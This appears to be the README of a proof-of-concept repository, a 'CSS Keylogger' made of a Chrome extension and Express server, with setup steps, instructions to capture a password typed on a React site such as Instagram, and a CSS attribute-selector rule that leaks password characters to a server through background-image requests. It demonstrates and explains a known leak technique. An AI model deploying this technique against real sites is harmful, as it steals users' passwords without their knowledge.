CSS Keylogger

Chrome extension and Express server that exploits keylogging abilities of CSS.

To use

Setup Chrome extension

Download repository git clone https://github.com/maxchehab/CSS-Keylogging
Visit chrome://extensions in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place).
Ensure that the Developer mode checkbox in the top right-hand corner is checked.
Click Load unpacked extension… to pop up a file-selection dialog.
Select the css-keylogger-extension in the directory which you downloaded this repository.

Setup Express server

yarn
yarn start

Haxking l33t passw0rds

Open a website that uses a controlled component framework such as React. https://instagram.com.
Press the extension C on the top right of any webpage.
Type your password.
Your password should be captured by the express server.

How it works

This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image.

For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}